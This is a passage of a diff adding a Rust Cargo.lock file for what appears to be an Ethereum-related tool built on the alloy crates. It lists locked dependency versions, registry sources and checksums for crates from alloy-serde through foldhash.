+version = "0.1.0"
+dependencies = [
+ "alloy",
+ "bigdecimal",
+ "dotenv",
+ "env_logger",
+ "eyre",
+ "futures",
+ "log",
+ "tokio",
+]
+
+[[package]]
+name = "alloy-serde"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3fa2fc7f82a9884ff1632d2a2137d35fef4db9270c85668634a603be5948fcdc"
+dependencies = [
+ "alloy-primitives",
+ "serde",
+ "serde_json",
+]
+
+[[package]]
+name = "alloy-signer"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "44eaf520bbb527ba90a3dd963aadf0c339595932169fb10f7330fe779336436e"
+dependencies = [
+ "alloy-primitives",
+ "async-trait",
+ "auto_impl",
+ "either",
+ "elliptic-curve",
+ "k256",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-signer-local"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1f8d1f2edc446b52985a5af71cdbce86e8646865b889e38410594eea97804380"
+dependencies = [
+ "alloy-consensus",
+ "alloy-network",
+ "alloy-primitives",
+ "alloy-signer",
+ "async-trait",
+ "k256",
+ "rand 0.8.5",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-sol-macro"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "60fcfa26956bcb22f66ab13407115197f26ef23abca5b48d39a1946897382d74"
+dependencies = [
+ "alloy-sol-macro-expander",
+ "alloy-sol-macro-input",
+ "proc-macro-error2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "alloy-sol-macro-expander"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72a9b402f0013f1ff8c24066eeafc2207a8e52810a2b18b77776ce7fead5af41"
+dependencies = [
+ "alloy-json-abi",
+ "alloy-sol-macro-input",
+ "const-hex",
+ "heck",
+ "indexmap 2.9.0",
+ "proc-macro-error2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+ "syn-solidity",
+ "tiny-keccak",
+]
+
+[[package]]
+name = "alloy-sol-macro-input"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d02d61741337bb6b3f4899c2e3173fe17ffa2810e143d3b28acd953197c8dd79"
+dependencies = [
+ "alloy-json-abi",
+ "const-hex",
+ "dunce",
+ "heck",
+ "macro-string",
+ "proc-macro2",
+ "quote",
+ "serde_json",
+ "syn 2.0.101",
+ "syn-solidity",
+]
+
+[[package]]
+name = "alloy-sol-type-parser"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d2b5f5f9f561c29f78ea521ebe2e5ac1633f1b1442dae582f68ecd57c6350042"
+dependencies = [
+ "serde",
+ "winnow 0.7.7",
+]
+
+[[package]]
+name = "alloy-sol-types"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c02635bce18205ff8149fb752c753b0a91ea3f3c8ee04c58846448be4811a640"
+dependencies = [
+ "alloy-json-abi",
+ "alloy-primitives",
+ "alloy-sol-macro",
+ "const-hex",
+ "serde",
+]
+
+[[package]]
+name = "alloy-transport"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "609f69c9153df716e7e6ef002cba69f94b7635eb2c603fff69b664aa6acea93a"
+dependencies = [
+ "alloy-json-rpc",
+ "base64",
+ "derive_more",
+ "futures",
+ "futures-utils-wasm",
+ "parking_lot",
+ "serde",
+ "serde_json",
+ "thiserror 2.0.12",
+ "tokio",
+ "tower 0.5.2",
+ "tracing",
+ "url",
+ "wasmtimer",
+]
+
+[[package]]
+name = "alloy-transport-http"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c2e60987afbc49b8719578355726059579a1a197741a2adae52f860d5d7464cc"
+dependencies = [
+ "alloy-json-rpc",
+ "alloy-transport",
+ "reqwest",
+ "serde_json",
+ "tower 0.5.2",
+ "tracing",
+ "url",
+]
+
+[[package]]
+name = "alloy-transport-ipc"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0a0cad5f19f718b83d4a52ebc12f3b691b245111e50403d2adfd46674bc73da8"
+dependencies = [
+ "alloy-json-rpc",
+ "alloy-pubsub",
+ "alloy-transport",
+ "bytes",
+ "futures",
+ "interprocess",
+ "pin-project",
+ "serde",
+ "serde_json",
+ "tokio",
+ "tokio-util",
+ "tracing",
+]
+
+[[package]]
+name = "alloy-transport-ws"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f48cc4f88d59463992251b89381760be901c4789a4721c657b832994331aff05"
+dependencies = [
+ "alloy-pubsub",
+ "alloy-transport",
+ "futures",
+ "http",
+ "rustls",
+ "serde_json",
+ "tokio",
+ "tokio-tungstenite",
+ "tracing",
+ "ws_stream_wasm",
+]
+
+[[package]]
+name = "alloy-trie"
+version = "0.8.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "983d99aa81f586cef9dae38443245e585840fcf0fc58b09aee0b1f27aed1d500"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rlp",
+ "arrayvec",
+ "derive_more",
+ "nybbles",
+ "serde",
+ "smallvec",
+ "tracing",
+]
+
+[[package]]
+name = "android-tzdata"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
+
+[[package]]
+name = "android_system_properties"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "anstream"
+version = "0.6.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b"
+dependencies = [
+ "anstyle",
+ "anstyle-parse",
+ "anstyle-query",
+ "anstyle-wincon",
+ "colorchoice",
+ "is_terminal_polyfill",
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b"
+
+[[package]]
+name = "anstyle-parse"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4"
+dependencies = [
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle-query"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
+dependencies = [
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "anstyle-wincon"
+version = "3.0.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
+dependencies = [
+ "anstyle",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "arbitrary"
+version = "1.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dde20b3d026af13f561bdd0f15edf01fc734f0dafcedbaf42bba506a9517f223"
+dependencies = [
+ "derive_arbitrary",
+]
+
+[[package]]
+name = "ark-ff"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6b3235cc41ee7a12aaaf2c575a2ad7b46713a8a50bda2fc3b003a04845c05dd6"
+dependencies = [
+ "ark-ff-asm 0.3.0",
+ "ark-ff-macros 0.3.0",
+ "ark-serialize 0.3.0",
+ "ark-std 0.3.0",
+ "derivative",
+ "num-bigint",
+ "num-traits",
+ "paste",
+ "rustc_version 0.3.3",
+ "zeroize",
+]
+
+[[package]]
+name = "ark-ff"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec847af850f44ad29048935519032c33da8aa03340876d351dfab5660d2966ba"
+dependencies = [
+ "ark-ff-asm 0.4.2",
+ "ark-ff-macros 0.4.2",
+ "ark-serialize 0.4.2",
+ "ark-std 0.4.0",
+ "derivative",
+ "digest 0.10.7",
+ "itertools 0.10.5",
+ "num-bigint",
+ "num-traits",
+ "paste",
+ "rustc_version 0.4.0",
+ "zeroize",
+]
+
+[[package]]
+name = "ark-ff-asm"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db02d390bf6643fb404d3d22d31aee1c4bc4459600aef9113833d17e786c6e44"
+dependencies = [
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "ark-ff-asm"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3ed4aa4fe255d0bc6d79373f7e31d2ea147bcf486cba1be5ba7ea85abdb92348"
+dependencies = [
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "ark-ff-macros"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db2fd794a08ccb318058009eefdf15bcaaaaf6f8161eb3345f907222bac38b20"
+dependencies = [
+ "num-bigint",
+ "num-traits",
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "ark-ff-macros"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7abe79b0e4288889c4574159ab790824d0033b9fdcb2a112a3182fac2e514565"
+dependencies = [
+ "num-bigint",
+ "num-traits",
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "ark-serialize"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1d6c2b318ee6e10f8c2853e73a83adc0ccb88995aa978d8a3408d492ab2ee671"
+dependencies = [
+ "ark-std 0.3.0",
+ "digest 0.9.0",
+]
+
+[[package]]
+name = "ark-serialize"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "adb7b85a02b83d2f22f89bd5cac66c9c89474240cb6207cb1efc16d098e822a5"
+dependencies = [
+ "ark-std 0.4.0",
+ "digest 0.10.7",
+ "num-bigint",
+]
+
+[[package]]
+name = "ark-std"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1df2c09229cbc5a028b1d70e00fdb2acee28b1055dfb5ca73eea49c5a25c4e7c"
+dependencies = [
+ "num-traits",
+ "rand 0.8.5",
+]
+
+[[package]]
+name = "ark-std"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "94893f1e0c6eeab764ade8dc4c0db24caf4fe7cbbaafc0eba0a9030f447b5185"
+dependencies = [
+ "num-traits",
+ "rand 0.8.5",
+]
+
+[[package]]
+name = "arrayvec"
+version = "0.7.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "async-stream"
+version = "0.3.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd56dd203fef61ac097dd65721a419ddccb106b2d2b70ba60a6b529f03961a51"
+dependencies = [
+ "async-stream-impl",
+ "futures-core",
+ "pin-project-lite",
+]
+
+[[package]]
+name = "async-stream-impl"
+version = "0.3.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "async-trait"
+version = "0.1.80"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c6fa2087f2753a7da8cc1c0dbfcf89579dd57458e36769de5ac750b4671737ca"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "async_io_stream"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b6d7b9decdf35d8908a7e3ef02f64c5e9b1695e230154c0e8de3969142d9b94c"
+dependencies = [
+ "futures",
+ "pharos",
+ "rustc_version 0.4.0",
+]
+
+[[package]]
+name = "auto_impl"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3c87f3f15e7794432337fc718554eaa4dc8f04c9677a950ffe366f20a162ae42"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "autocfg"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
+
+[[package]]
+name = "backtrace"
+version = "0.3.73"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5cc23269a4f8976d0a4d2e7109211a419fe30e8d88d677cd60b6bc79c5732e0a"
+dependencies = [
+ "addr2line",
+ "cc",
+ "cfg-if",
+ "libc",
+ "miniz_oxide",
+ "object",
+ "rustc-demangle",
+]
+
+[[package]]
+name = "base16ct"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf"
+
+[[package]]
+name = "base64"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
+
+[[package]]
+name = "base64ct"
+version = "1.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b"
+
+[[package]]
+name = "bigdecimal"
+version = "0.4.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1a22f228ab7a1b23027ccc6c350b72868017af7ea8356fbdf19f8d991c690013"
+dependencies = [
+ "autocfg",
+ "libm",
+ "num-bigint",
+ "num-integer",
+ "num-traits",
+]
+
+[[package]]
+name = "bimap"
+version = "0.6.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "230c5f1ca6a325a32553f8640d31ac9b49f2411e901e427570154868b46da4f7"
+
+[[package]]
+name = "bit-set"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3"
+dependencies = [
+ "bit-vec",
+]
+
+[[package]]
+name = "bit-vec"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7"
+
+[[package]]
+name = "bitflags"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cf4b9d6a944f767f8e5e0db018570623c85f3d925ac718db4e06d0187adb21c1"
+
+[[package]]
+name = "bitvec"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c"
+dependencies = [
+ "funty",
+ "radium",
+ "tap",
+ "wyz",
+]
+
+[[package]]
+name = "block-buffer"
+version = "0.10.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "blst"
+version = "0.3.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "47c79a94619fade3c0b887670333513a67ac28a6a7e653eb260bf0d4103db38d"
+dependencies = [
+ "cc",
+ "glob",
+ "threadpool",
+ "zeroize",
+]
+
+[[package]]
+name = "bumpalo"
+version = "3.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
+
+[[package]]
+name = "byte-slice-cast"
+version = "1.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c3ac9f8b63eca6fd385229b3675f6cc0dc5c8a5c8a54a59d4f52ffd670d87b0c"
+
+[[package]]
+name = "byteorder"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
+
+[[package]]
+name = "bytes"
+version = "1.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "c-kzg"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e7e3c397401eb76228c89561cf22f85f41c95aa799ee9d860de3ea1cbc728fc"
+dependencies = [
+ "arbitrary",
+ "blst",
+ "cc",
+ "glob",
+ "hex",
+ "libc",
+ "once_cell",
+ "serde",
+]
+
+[[package]]
+name = "cc"
+version = "1.2.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "be714c154be609ec7f5dad223a33bf1482fff90472de28f7362806e6d4832b8c"
+dependencies = [
+ "shlex",
+]
+
+[[package]]
+name = "cfg-if"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+
+[[package]]
+name = "chrono"
+version = "0.4.41"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c469d952047f47f91b68d1cba3f10d63c11d73e4636f24f08daf0278abf01c4d"
+dependencies = [
+ "android-tzdata",
+ "iana-time-zone",
+ "num-traits",
+ "serde",
+ "windows-link",
+]
+
+[[package]]
+name = "colorchoice"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
+
+[[package]]
+name = "const-hex"
+version = "1.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4b0485bab839b018a8f1723fc5391819fea5f8f0f32288ef8a735fd096b6160c"
+dependencies = [
+ "cfg-if",
+ "cpufeatures",
+ "hex",
+ "proptest",
+ "serde",
+]
+
+[[package]]
+name = "const-oid"
+version = "0.9.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"
+
+[[package]]
+name = "core-foundation"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
+dependencies = [
+ "core-foundation-sys",
+ "libc",
+]
+
+[[package]]
+name = "core-foundation-sys"
+version = "0.8.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
+
+[[package]]
+name = "cpufeatures"
+version = "0.2.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "crc"
+version = "3.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "69e6e4d7b33a94f0991c26729976b10ebde1d34c3ee82408fb536164fa10d636"
+dependencies = [
+ "crc-catalog",
+]
+
+[[package]]
+name = "crc-catalog"
+version = "2.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5"
+
+[[package]]
+name = "crossbeam-utils"
+version = "0.8.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"
+
+[[package]]
+name = "crunchy"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7"
+
+[[package]]
+name = "crypto-bigint"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76"
+dependencies = [
+ "generic-array",
+ "rand_core 0.6.4",
+ "subtle",
+ "zeroize",
+]
+
+[[package]]
+name = "crypto-common"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
+dependencies = [
+ "generic-array",
+ "typenum",
+]
+
+[[package]]
+name = "darling"
+version = "0.20.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee"
+dependencies = [
+ "darling_core",
+ "darling_macro",
+]
+
+[[package]]
+name = "darling_core"
+version = "0.20.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e"
+dependencies = [
+ "fnv",
+ "ident_case",
+ "proc-macro2",
+ "quote",
+ "strsim",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "darling_macro"
+version = "0.20.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead"
+dependencies = [
+ "darling_core",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "dashmap"
+version = "6.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf"
+dependencies = [
+ "cfg-if",
+ "crossbeam-utils",
+ "hashbrown 0.14.5",
+ "lock_api",
+ "once_cell",
+ "parking_lot_core",
+]
+
+[[package]]
+name = "data-encoding"
+version = "2.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8566979429cf69b49a5c740c60791108e86440e8be149bbea4fe54d2c32d6e2"
+
+[[package]]
+name = "der"
+version = "0.7.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f55bf8e7b65898637379c1b74eb1551107c8294ed26d855ceb9fd1a09cfc9bc0"
+dependencies = [
+ "const-oid",
+ "zeroize",
+]
+
+[[package]]
+name = "deranged"
+version = "0.3.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4"
+dependencies = [
+ "powerfmt",
+ "serde",
+]
+
+[[package]]
+name = "derivative"
+version = "2.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "derive_arbitrary"
+version = "1.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "30542c1ad912e0e3d22a1935c290e12e8a29d704a420177a31faad4a601a0800"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "derive_more"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "093242cf7570c207c83073cf82f79706fe7b8317e98620a47d5be7c3d8497678"
+dependencies = [
+ "derive_more-impl",
+]
+
+[[package]]
+name = "derive_more-impl"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bda628edc44c4bb645fbe0f758797143e4e07926f7ebf4e9bdfbd3d2ce621df3"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+ "unicode-xid",
+]
+
+[[package]]
+name = "digest"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "digest"
+version = "0.10.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
+dependencies = [
+ "block-buffer",
+ "const-oid",
+ "crypto-common",
+ "subtle",
+]
+
+[[package]]
+name = "displaydoc"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "487585f4d0c6655fe74905e2504d8ad6908e4db67f744eb140876906c2f3175d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "doctest-file"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "aac81fa3e28d21450aa4d2ac065992ba96a1d7303efbce51a95f4fd175b67562"
+
+[[package]]
+name = "dotenv"
+version = "0.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "77c90badedccf4105eca100756a0b1289e191f6fcbdadd3cee1d2f614f97da8f"
+
+[[package]]
+name = "dunce"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b"
+
+[[package]]
+name = "ecdsa"
+version = "0.16.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca"
+dependencies = [
+ "der",
+ "digest 0.10.7",
+ "elliptic-curve",
+ "rfc6979",
+ "serdect",
+ "signature",
+ "spki",
+]
+
+[[package]]
+name = "either"
+version = "1.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "elliptic-curve"
+version = "0.13.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47"
+dependencies = [
+ "base16ct",
+ "crypto-bigint",
+ "digest 0.10.7",
+ "ff",
+ "generic-array",
+ "group",
+ "pkcs8",
+ "rand_core 0.6.4",
+ "sec1",
+ "serdect",
+ "subtle",
+ "zeroize",
+]
+
+[[package]]
+name = "env_filter"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a009aa4810eb158359dda09d0c87378e4bbb89b5a801f016885a4707ba24f7ea"
+dependencies = [
+ "log",
+ "regex",
+]
+
+[[package]]
+name = "env_logger"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "38b35839ba51819680ba087cd351788c9a3c476841207e0b8cee0b04722343b9"
+dependencies = [
+ "anstream",
+ "anstyle",
+ "env_filter",
+ "humantime",
+ "log",
+]
+
+[[package]]
+name = "equivalent"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
+
+[[package]]
+name = "errno"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "534c5cf6194dfab3db3242765c03bbe257cf92f22b38f6bc0c58d59108a820ba"
+dependencies = [
+ "libc",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "eyre"
+version = "0.6.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7cd915d99f24784cdc19fd37ef22b97e3ff0ae756c7e492e9fbfe897d61e2aec"
+dependencies = [
+ "indenter",
+ "once_cell",
+]
+
+[[package]]
+name = "fastrand"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9fc0510504f03c51ada170672ac806f1f105a88aa97a5281117e1ddc3368e51a"
+
+[[package]]
+name = "fastrlp"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "139834ddba373bbdd213dffe02c8d110508dcf1726c2be27e8d1f7d7e1856418"
+dependencies = [
+ "arrayvec",
+ "auto_impl",
+ "bytes",
+]
+
+[[package]]
+name = "fastrlp"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce8dba4714ef14b8274c371879b175aa55b16b30f269663f19d576f380018dc4"
+dependencies = [
+ "arrayvec",
+ "auto_impl",
+ "bytes",
+]
+
+[[package]]
+name = "ff"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ded41244b729663b1e574f1b4fb731469f69f79c17667b5d776b16cda0479449"
+dependencies = [
+ "rand_core 0.6.4",
+ "subtle",
+]
+
+[[package]]
+name = "fixed-hash"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "835c052cb0c08c1acf6ffd71c022172e18723949c8282f2b9f27efbc51e64534"
+dependencies = [
+ "byteorder",
+ "rand 0.8.5",
+ "rustc-hex",
+ "static_assertions",
+]
+
+[[package]]
+name = "fnv"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
+
+[[package]]
+name = "foldhash"
+version = "0.1.5"
